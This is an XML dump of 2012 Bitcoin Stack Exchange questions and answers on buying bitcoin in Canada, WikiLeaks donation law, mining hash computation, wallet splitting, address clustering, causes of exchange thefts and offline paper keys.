  <row Id="5149" PostTypeId="2" ParentId="4538" CreationDate="2012-10-24T02:31:05.137" Score="2" Body="&lt;p&gt;Yes, I am Canadian and I have used both these services:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.cavirtex.com&quot; rel=&quot;nofollow&quot;&gt;www.cavirtex.com&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They can be added as Online Bill Payee at RBC, BMO, Scotia, or TD Bank (takes 1 to 2 days)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and/or &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.canadianbitcoins.com&quot; rel=&quot;nofollow&quot;&gt;www.canadianbitcoins.com&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I never left my seat and Bitcoins were deposited with the hour!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They use TD Canada Trust, and you can add them as a Payee by calling your EasyLine banking, then make an Instant payment to them.&lt;/p&gt;&#xA;" OwnerUserId="2105" LastEditorUserId="323" LastEditDate="2012-10-24T06:59:09.323" LastActivityDate="2012-10-24T06:59:09.323" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5150" PostTypeId="1" CreationDate="2012-10-24T02:42:40.907" Score="6" ViewCount="316" Body="&lt;p&gt;The WikiLeaks website &lt;a href=&quot;http://shop.wikileaks.org/donate#dbitcoin&quot;&gt;provides a bitcoin donation address&lt;/a&gt; 1HB5XMLmzFVj8ALj6mfBsbifRoD4miY36v&lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to &lt;a href=&quot;http://www.smh.com.au/opinion/political-news/us-calls-assange-enemy-of-state-20120927-26m7s.html&quot;&gt;this article from the Sydney Morning Herald&lt;/a&gt;, Julian Assange of WikiLeaks has been declared an &quot;enemy of the state&quot; by the US. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Declassified US Air Force counter-intelligence documents, released under US freedom-of-information laws, reveal that military personnel who contact WikiLeaks or WikiLeaks supporters may be at risk of being charged with &quot;communicating with the enemy&quot;, a military crime that carries a maximum sentence of death.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Has there been any clarification or further analysis by US govt (or anyone) as to what the consequences would be of sending bitcoins to WikiLeaks?&lt;/p&gt;&#xA;" OwnerUserId="516" LastActivityDate="2012-11-25T19:53:14.670" Title="What are the consequences of donating bitcoins to WikiLeaks?" Tags="|legal|usa|wikileaks|" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="5151" PostTypeId="2" ParentId="5110" CreationDate="2012-10-24T08:03:17.077" Score="3" Body="&lt;p&gt;This question is a complicated one, but I'll see what I can do to answer it. Also, I won't try tackling the issue of endianness, as in the case of Bitcoin it gives me a headache...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, lets see what we have in a block header given to us by getwork. Lets take the &lt;a href=&quot;https://en.bitcoin.it/wiki/Genesis_block&quot; rel=&quot;nofollow&quot;&gt;Genesis Block&lt;/a&gt; for an example.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;01000000 - version&#xA;0000000000000000000000000000000000000000000000000000000000000000 - prev block&#xA;3BA3EDFD7A7B12B27AC72C3E67768F617FC81BC3888A51323A9FB8AA4B1E5E4A - merkle root&#xA;29AB5F49 - timestamp&#xA;FFFF001D - bits&#xA;00000000 - nonce (it will be set to 1DAC2B7C later)&#xA;00 - number of transactions (always 0, this is the block header)&#xA;0000800000000000000000000000000000000000000000000000000000000000000000000000000000000080020000 - padding&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In order to calculate the midstate, we split the header into two parts that are accepted by SHA algorithm (64 bytes each):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0100000000000000000000000000000000000000000000000000000000000000000000003BA3EDFD7A7B12B27AC72C3E67768F617FC81BC3888A51323A9FB8AA&#xA;4B1E5E4A29AB5F49FFFF001D00000000000000800000000000000000000000000000000000000000000000000000000000000000000000000000000080020000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;We load the first part into the SHA algorithm. We take save this state for later use (midstate) (sorry for lack of examples, but I don't have my hashing algorithms on hand). Then we load the second part into the SHA algorithm. We read the output, this is the first hash. We take that output, plug it back to a new input, and get its result. That is the second hash. Assuming we got the correct nonce (in our case - 1DAC2B7C), our result should look something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;000000000019d6689c085ae165831e934ff763ae46a2a6c172b3f1b60a8ce26f&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and compare it to our target:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00000000ffff0000000000000000000000000000000000000000000000000000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Taken as a number, which is bigger? The target. This means that we have the correct nonce, and we can submit our full header as the result. Profit!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From what I understand, you tried to break up the resulting numbers too much, instead of operating on really big numbers like Bitcoin appears to be doing. Then again, endianness is also a big problem with the protocol and what not...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope this answers your problem.&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="516" LastEditDate="2012-10-30T22:56:44.910" LastActivityDate="2012-10-30T22:56:44.910" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5152" PostTypeId="1" AcceptedAnswerId="5185" CreationDate="2012-10-24T08:47:41.073" Score="0" ViewCount="320" Body="&lt;p&gt;In &lt;a href=&quot;https://bitcoin.stackexchange.com/q/5150/323&quot;&gt;one of the comments to this question&lt;/a&gt; &lt;a href=&quot;https://bitcoin.stackexchange.com/users/516/highly-irregular&quot;&gt;Highly Irregular&lt;/a&gt; pointed out an interesting legal issue that might arise with Bitcoin. Mainly, if some organisations use Bitcoin (say, Wikileaks) and are deemed illegal by some authority (say, the government of USA), and subsequently sending money to them could be deemed illegal, how would issues with unintentional donations be handled?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Say, someone convinces a person to send &quot;them&quot; Bitcoins, instead of providing them with an address of the illegal organisation. The victim performs the donation, and their support of the organisation is later revealed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How would such a case be handled in court at the current date? Do you know of any relevant laws in say, USA, that would apply to such a situation?&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.610" LastActivityDate="2012-11-01T02:31:58.163" Title="Accountability with Bitcoin transactions" Tags="|legal|wikileaks|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5153" PostTypeId="2" ParentId="5145" CreationDate="2012-10-24T08:54:42.330" Score="3" Body="&lt;p&gt;A limit order is an order to buy or sell at a specific price or better. As in &quot;sell these coins if I can get at least X USD per bitcoin.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A market order is an order to buy or sell at the best available price. As in &quot;sell these coins for whatever people are willing to pay right now.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not 100% sure about this, but I believe mixed_currency means the buyer and seller are using different currencies. If you buy bitcoins using EUR from someone selling for USD then MtGox will do a conversion.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And yes, the best view of the market would be with all trades included.&lt;/p&gt;&#xA;" OwnerUserId="141" LastActivityDate="2012-10-24T08:54:42.330" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5154" PostTypeId="2" ParentId="450" CreationDate="2012-10-24T09:13:53.623" Score="1" Body="&lt;p&gt;You might want to have a look at the concepts of &quot;taint&quot; and &quot;colored coins&quot;. You can start here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Taint: &lt;a href=&quot;https://bitcointalk.org/index.php?topic=92416.0&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=92416.0&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Colored Coins: &lt;a href=&quot;https://bitcointalk.org/index.php?topic=106373.0&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=106373.0&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1304" LastActivityDate="2012-10-24T09:13:53.623" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5155" PostTypeId="1" AcceptedAnswerId="5166" CreationDate="2012-10-24T09:32:31.510" Score="5" ViewCount="138" Body="&lt;p&gt;Addresses can be grouped as belonging to the same user (or, better, same &quot;account&quot;) by grouping together the addresses that participate as inputs to a single transaction, and doing it transitively. This has been done in the &lt;a href=&quot;http://eprint.iacr.org/2012/584.pdf&quot;&gt;recent paper by Shamir and Ron&lt;/a&gt;, by &lt;a href=&quot;http://anonymity-in-bitcoin.blogspot.com/2011/07/bitcoin-is-not-anonymous.html&quot;&gt;some previous researchers&lt;/a&gt; and can be done by &lt;a href=&quot;https://bitcointalk.org/index.php?topic=88584.0&quot;&gt;znort's parser&lt;/a&gt;. I know this is not 100 % accurate but I'm fine with it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I'm looking for is a site that displays the results of such grouping graphically, possibly with transactions between accounts as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've read about such a site on bitcointalk.org, but I can't find the topic any more. I'm looking for the url of the (now possibly defunct) site or the bitcointalk topic describing it.&lt;/p&gt;&#xA;" OwnerUserId="1304" LastActivityDate="2016-03-24T00:02:10.200" Title="Is there an application or a site grouping addresses by user graphically?" Tags="|privacy|websites|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5156" PostTypeId="2" ParentId="5061" CreationDate="2012-10-24T09:59:17.843" Score="1" Body="&lt;p&gt;For SEPA transfers, &lt;a href=&quot;https://www.bitstamp.net/&quot; rel=&quot;nofollow&quot;&gt;Bitstamp&lt;/a&gt; may be what you want. I've been using it for months now. There is no deposit fee (just what you pay to your bank for the SEPA transfer), and you pay up to 0.5 % fee when you buy BTC (this was actually free last week but you missed it). There is also some currency conversion expense (your EUR will be converted to USD), but they use ECB's currency rates which are quite good, and don't take any fees themselves for conversion. Also the exchange is quite liquid (third largest USD market) so the spread won't cost you much either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're just buying BTC, this is it. If you plan to withdraw EUR from the exchange, you'll also pay 0.90 EUR per withdrawal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also all SEPA transfers are processed in 24 hours, sometimes the same day.&lt;/p&gt;&#xA;" OwnerUserId="1304" LastActivityDate="2012-10-24T09:59:17.843" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5157" PostTypeId="2" ParentId="2235" CreationDate="2012-10-24T10:26:12.193" Score="1" Body="&lt;p&gt;Addresses can be grouped as belonging to the same user (or, better, same &quot;account&quot;) by grouping together the addresses that participate as inputs to a single transaction, and doing it transitively. This has been done in the &lt;a href=&quot;http://eprint.iacr.org/2012/584.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;recent paper by Shamir and Ron&lt;/a&gt;, by &lt;a href=&quot;http://anonymity-in-bitcoin.blogspot.com/2011/07/bitcoin-is-not-anonymous.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;some previous researchers&lt;/a&gt; and can be done by &lt;a href=&quot;https://bitcointalk.org/index.php?topic=88584.0&quot; rel=&quot;nofollow noreferrer&quot;&gt;znort's parser&lt;/a&gt;. This is not 100 % accurate since it is possible for different users to sign different inputs to the same transaction, but currently people don't do that very often. (But this may change in the future.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using this method, &lt;a href=&quot;http://anonymity-in-bitcoin.blogspot.com/2011/07/bitcoin-is-not-anonymous.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;the above-mentioned research&lt;/a&gt; determined that certain bitcointalk users donated to WikiLeaks just from their self-published donation addresses (event though they might not have used the same addresses for the donations).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For doing this analysis, one doesn't even necessarily need to know a transaction you created, it might be enough to know just one of your public addresses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Se also &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/3544/linking-a-transaction-to-a-bitcoin-user&quot;&gt;this question&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1304" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.707" LastActivityDate="2012-10-24T10:31:43.153" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5158" PostTypeId="1" AcceptedAnswerId="5159" CreationDate="2012-10-24T10:51:04.073" Score="10" ViewCount="4383" Body="&lt;p&gt;Let's say I have 10 bitcoins. I won't be using 8 of them any time soon. How can I put the 8 in a separate &quot;offline&quot; wallet not related to the bitcoin client?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This would be a good security measure. If the bitcoin client is ever compromised, only the remaining 2 bitcoins would be at risk.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems rather reckless to have all of one's savings in the same wallet.&lt;/p&gt;&#xA;" OwnerUserId="1888" LastActivityDate="2013-08-05T22:22:40.453" Title="How can I split my bitcoin wallet?" Tags="|wallet|" AnswerCount="6" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5159" PostTypeId="2" ParentId="5158" CreationDate="2012-10-24T12:29:12.587" Score="6" Body="&lt;ol&gt;&#xA;&lt;li&gt;Go to your &lt;a href=&quot;https://en.bitcoin.it/wiki/Data_directory&quot;&gt;Bitcoin data directory&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Backup your wallet.dat to a safe location&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;Move your wallet.dat away from the data directory&lt;/li&gt;&#xA;&lt;li&gt;Start Bitcoin. It will create new wallet.dat&lt;/li&gt;&#xA;&lt;li&gt;Get an address from the new wallet, save it in notepad&lt;/li&gt;&#xA;&lt;li&gt;Encrypt the wallet with some passphrase you will remember for a long time&lt;/li&gt;&#xA;&lt;li&gt;Turn Bitcoin off&lt;/li&gt;&#xA;&lt;li&gt;Go back to your Bitcoin data directory&lt;/li&gt;&#xA;&lt;li&gt;Take the new wallet.dat and store it somewhere safe&lt;/li&gt;&#xA;&lt;li&gt;Move your old wallet.dat file back into the data directory&lt;/li&gt;&#xA;&lt;li&gt;Run Bitcoin again.&lt;/li&gt;&#xA;&lt;li&gt;Send 8 Bitcoins to the address you saved in notepad&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Now you have two wallet files - one with 2 bitcoins for your normal use, one with 8 bitcoins for keeping them safe. Just make sure not to lose either of the two wallets, or you'll lose your coins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Keep your wallet.dats backed up and don't run duplicates at the same time.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-10-24T12:29:12.587" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="5160" PostTypeId="1" AcceptedAnswerId="5165" CreationDate="2012-10-24T14:30:41.513" Score="4" ViewCount="316" Body="&lt;p&gt;If you get an address, and have payments sent to you, how are people able to determine how much money you have? What steps do they do to figure this out?&lt;/p&gt;&#xA;" OwnerUserId="2107" LastActivityDate="2012-10-24T18:12:44.800" Title="How do you determine how much money an address has?" Tags="|client|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5161" PostTypeId="1" AcceptedAnswerId="5170" CreationDate="2012-10-24T14:40:49.333" Score="1" ViewCount="554" Body="&lt;p&gt;The blockchain is not designed in a way where you can easily get information correct? You have to know more than python basics and have good programming skills as their seems to be no API, and no methods of just querying the data to get basic stats such as &quot;latest transaction&quot; or &quot;biggest transaction ever&quot;....&lt;/p&gt;&#xA;" OwnerUserId="2107" LastActivityDate="2012-10-25T08:36:32.750" Title="How can I use the blockchain API?" Tags="|blockchain|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5162" PostTypeId="1" AcceptedAnswerId="5164" CreationDate="2012-10-24T14:49:48.983" Score="4" ViewCount="1319" Body="&lt;p&gt;When reading many stories about bitcoin theft, what is the usual gist? Dont most of these hackers get digital wallets that are encrypted? How do they make use of it, crack it...or its not encrypted at all?&lt;/p&gt;&#xA;" OwnerUserId="2107" LastActivityDate="2018-03-15T20:15:42.020" Title="How is all this bitcoin theft happening?" Tags="|theft|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5163" PostTypeId="2" ParentId="5160" CreationDate="2012-10-24T16:15:26.703" Score="2" Body="&lt;p&gt;They don't.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can have as many addresses as you like, and there is little anyone can do to track them all to you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This means that usually people can know how much money &lt;em&gt;a single address&lt;/em&gt; has, but that's pointless, since you can have multiple addresses.&lt;/p&gt;&#xA;" OwnerUserId="196" LastActivityDate="2012-10-24T16:15:26.703" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5164" PostTypeId="2" ParentId="5162" CreationDate="2012-10-24T17:24:23.433" Score="3" Body="&lt;p&gt;There are many ways theft can occur.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even though the cases where hackers have stolen from exchanges or from individuals, in terms of the number of bitcoins lost that amount is chump change compared to the amount of coins lost to scammers such as PirateAt40 and other scams, including loans not being repaid or currency trades that go bad.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But as far as bitcoins lost to hackings, yes -- the thefts have been due to poor security practices being implemented by exchange operators and other businesses where an attacker takes advantage of that to steal funds.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://bitcointalk.org/index.php?topic=83794.0&quot; rel=&quot;nofollow noreferrer&quot;&gt;The list&lt;/a&gt; of the top thefts in which these hackings includes some of the details for various incidents.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Security is difficult and expensive, and Bitcoin startups generally don't have the revenue and profits sufficient to attract the capital that would allow top-notch security to be implemented.  As a result, they become juicy targets for the attackers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even following the recommendations for &lt;a href=&quot;http://en.bitcoin.it/wiki/Securing_online_services&quot; rel=&quot;nofollow noreferrer&quot;&gt;securing online services&lt;/a&gt; does not ensure that there is no risk of theft, but most losses from theft thus far were because those recommendations weren't followed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as the term &quot;cracking&quot; ... that generally refers to discovering passwords.  In June 2011 when an attacker obtained the list of accounts and password hashes from Mt. Gox, cracking was able to discover passwords for many accounts due to there having been poor security on the password hashing method implemented by Mt. Gox at the time.  Most Bitcoin-related service operators are smarter than that but that incident has helped any that weren't to become a little more aware of proper password security methods (e.g., BCrypt).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Password cracking might also be used by an attacker to gain access to a system which which may hold coins in an unecrypted wallet, or that breach may lead to credential that provide access to additional systems which hold coins in an unencrypted wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason hackers are successful when compromising these server systems used by exchanges and other bitcoin businesses is because if software needs the ability to send outgoing payments then the attacker who has compromised the system then gains that same capability.  Even if the wallet is encrypted, the software would use the passphrase to unencrypt it so either the Bitcoin client is responding to requests after the passphrase has already been provided or the passphrase is avaialble to the software to make such requests.  And thus if that system is compromised there is no protection possible for those coins in the wallet on that system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For this reason, any exchange or bitcoin business using hosting for their systems where the hosting service has any access to the hosted service whatsoever, those coins are at risk.  But most Bitcoin businesses are not at the scale necessary to justify proper security at data centers (e.g., using their own hardware colocated in locked cages in &lt;a href=&quot;http://www.thebunker.net/colocation/facilities/&quot; rel=&quot;nofollow noreferrer&quot;&gt;highly secure facilities&lt;/a&gt;). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even with that, that is just the security for the hot wallet containing a fraction of the service's bitcoins needed for daily operations.  Security for the offline wallet might involve using paper wallets stored in bank vaults, or access protected with &lt;a href=&quot;http://bitcointalk.org/index.php?topic=23938.msg1177353#msg1177353&quot; rel=&quot;nofollow noreferrer&quot;&gt;Shamir's Secret Sharing&lt;/a&gt; method even.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Much more common than breaches of security at Bitcoin exchanges and services are compromises of individual EWallet accounts at these online services.   This often happens when an individual shares a username and password for their exchange account with another service.  For instance, after the Mt. Gox passwords were leaked, other exchanges went on lockdown because so many accountholders had common login credentials on both services.  A protection against that is for the exchange to offer &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/4113&quot;&gt;multi-factor authentication&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Individual users of the Bitcoin.org client can protect their wallets with passphrase encryption.  This still leaves them vulnerable to a replay attack should their system be compromised with a keylogger or similar malware.  For this reason, &lt;a href=&quot;http://bitcoinarmory.com/index.php/using-offline-wallets-in-armory&quot; rel=&quot;nofollow noreferrer&quot;&gt;offline/cold wallet&lt;/a&gt; and &quot;air gap&quot; systems are recommended when the amount of bitcoins held are significant.  A similar &lt;a href=&quot;http://krebsonsecurity.com/banking-on-a-live-cd/&quot; rel=&quot;nofollow noreferrer&quot;&gt;recommendation&lt;/a&gt; exists for online banking, so compromised systems aren't specific to Bitcoin users.&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.743" LastActivityDate="2012-10-24T17:30:46.300" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5165" PostTypeId="2" ParentId="5160" CreationDate="2012-10-24T18:12:44.800" Score="2" Body="&lt;p&gt;Bitcoin's ledger system is publicly visible, but these are pseudonymous payments thus the level of privacy you wish to maintain is up to you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A charitable organization, for instance, may want the transparency that using a static Bitcoin address provides (this is a concept affiliated with triple-entry accounting).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But an individual might not. Therefore, the default manner that bitcoin operates is to provide a obtain Bitcoin address for each transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, if an individual is using a hosted (shared) EWallet, the Bitcoin address is simply used solely by the EWallet provider to know how much to credit an EWallet account -- so the balance shown by the blockchain has no relevance with the balance that shows for the user's EWallet account.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are methods to try to make conclusions from looking at the flow of funds, but that is an imprecise tactic.  It might yield some info though and efforts are underway to &lt;a href=&quot;http://toolongdidntread.com&quot; rel=&quot;nofollow&quot;&gt;share this information&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2012-10-24T18:12:44.800" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5166" PostTypeId="2" ParentId="5155" CreationDate="2012-10-24T18:39:23.360" Score="0" Body="&lt;p&gt;I found the bitcointalk topic:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=103609.0&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=103609.0&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1304" LastActivityDate="2012-10-24T18:39:23.360" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5167" PostTypeId="1" CreationDate="2012-10-24T20:05:14.707" Score="3" ViewCount="2973" Body="&lt;p&gt;I.E. 9900 blocks remaining, 9904 blocks remaining and the total percent synced is decreasing. Is this normal behaviour? I'm on a mobile broadband connection but http connections are working just fine. It also says I have 8 active connections which I understand to be the maximum?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="2110" LastActivityDate="2013-02-04T15:09:09.163" Title="Synchronising official bitcoin wallet for the first time; at 95% started going backwards" Tags="|blockchain|client|synchronization|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5168" PostTypeId="1" CreationDate="2012-10-25T06:32:49.803" Score="7" ViewCount="645" Body="&lt;p&gt;Okay, I want to start offering Bitcoin as a payment option on my e-commerce site. For now, I just want to keep it simply as an option for those overseas customers who don't have credit cards/PayPal so I don't anticipate a high number of transactions. I have gone to Bitaddress.org to generate a bulk wallet, I have loaded the private keys (together with the related public address) on a USB drive and on an old non-networked computer. I plan to email a new Bitcoin address to each customer that wants to pay by Bitcoin. I have loaded a list of these addresses into bitcoinmonitor.net so once a customer pays I get an email notification after 4 confirmations and then I can ship out the product.   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;2 Questions:  &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;How can I install Bitaddress.org on my non-networked computer so I can generate future paper keys without even being online, for added security? I know it's possible, but if anyone can help with a step by step would be great. &lt;/li&gt;&#xA;&lt;li&gt;I do have the regular Bitcoin client. Eventually I may want to consolidate all these coins into one wallet but still be secure. So I figured I could then import all these private keys into the wallet that is part of the Bitcoin client (using these steps &lt;a href=&quot;https://en.bitcoin.it/wiki/How_to_import_private_keys_v7%2B&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/How_to_import_private_keys_v7%2B&lt;/a&gt;). The question is does the private key somehow change upon import? To put it another way, if the computer which runs the Bitcoin client explodes, and I did not backup the wallet.dat file, am I still safe, because the private keys that are kept on my USB or even just written down can still be used? or did the action of importing the address somehow change the private key? If it is safe, I suppose there may still be a little loss of bitcoins if any &quot;change&quot; transactions created new addresses? Any help is appreciated (including any problems you see with my plan). I can't program (even html), but I am very excited about Bitcoin!&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2111" LastEditorUserId="516" LastEditDate="2013-01-25T09:07:15.803" LastActivityDate="2013-01-25T09:07:15.803" Title="Can we use a Paper Private Key that has been loaded in the Bitcoin client?" Tags="|private-key|import|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5169" PostTypeId="2" ParentId="5168" CreationDate="2012-10-25T07:12:57.757" Score="7" Body="&lt;p&gt;1.) The web page at BitAddress.org can be loaded from a file on a thumb drive or other storage.   Most browsers let you save the web page using a View Source (right click maybe), and then Save File to a thumb drive. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then from the offline computer you open the file from the browser and the BitAddress page will load.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2.) The private keys don't expire or invalidate after they've been imported into the client. You correctly identified the problem with that is how if you spent any of the incoming funds, the client creates a new address for &quot;change&quot; and thus the wallet may show a balance that includes funds not in any of the addresses from the imported private keys.  So wallet backups are still important.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2012-10-25T07:12:57.757" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5170" PostTypeId="2" ParentId="5161" CreationDate="2012-10-25T08:30:09.123" Score="2" Body="&lt;p&gt;Actually, the BlochChain API is pretty good and Ben Reeves has done a nice work implementing it. And for the most part, for free. You only have to know how to send HTTP requests from your code, and parse the Json your app receives. If you think his API is not complete or unworking, do it yourself and make him competition ;-)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An API is designed for &lt;strong&gt;programmers&lt;/strong&gt;, not simple users. What do you want to do exactly?&lt;/p&gt;&#xA;" OwnerUserId="1934" LastEditorUserId="1934" LastEditDate="2012-10-25T08:36:32.750" LastActivityDate="2012-10-25T08:36:32.750" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5171" PostTypeId="1" CreationDate="2012-10-25T10:15:16.733" Score="2" ViewCount="5100" Body="&lt;p&gt;Where can I sell Amazon.com Gift Code for Bitcoins ? I want a list of services, not exchange sites/forums.&lt;/p&gt;&#xA;" OwnerUserId="1584" LastEditorUserId="1584" LastEditDate="2012-11-06T11:06:33.720" LastActivityDate="2013-11-22T11:37:09.040" Title="Where can I sell Amazon.com Gift Code for Bitcoins?" Tags="|amazon-web-services|" AnswerCount="2" CommentCount="0" ClosedDate="2014-04-04T15:48:42.327" ContentLicense="CC BY-SA 3.0" />
  <row Id="5172" PostTypeId="1" AcceptedAnswerId="5183" CreationDate="2012-10-25T16:50:34.707" Score="5" ViewCount="6290" Body="&lt;p&gt;My firewall blocks all ports except 80 and 443.  Are there any pools that accept inbound connections on these ports?&lt;/p&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="2306" LastEditDate="2016-03-09T23:14:28.977" LastActivityDate="2016-03-09T23:14:28.977" Title="What Pools operate on port 80 or 443?" Tags="|mining-pools|firewall|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5173" PostTypeId="2" ParentId="4894" CreationDate="2012-10-25T18:36:54.813" Score="3" Body="&lt;p&gt;Nothing in the litecoin protocol changed, only a tool to mine litecoins using GPU was independently developed: &lt;a href=&quot;http://wiki.solidcoin.info/wiki/Reaper&quot; rel=&quot;nofollow&quot;&gt;the Reaper&lt;/a&gt; and caused difficulty to improve to make CPU mining much less efficient (compared to electricity price). Still, the rise of diffculty is not so dramatic as was the case for bitcoin and scrypt algorithm has proved its worth. CPUs can still mine 1-3 LTC/day at the moment.&lt;/p&gt;&#xA;" OwnerUserId="1545" LastActivityDate="2012-10-25T18:36:54.813" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
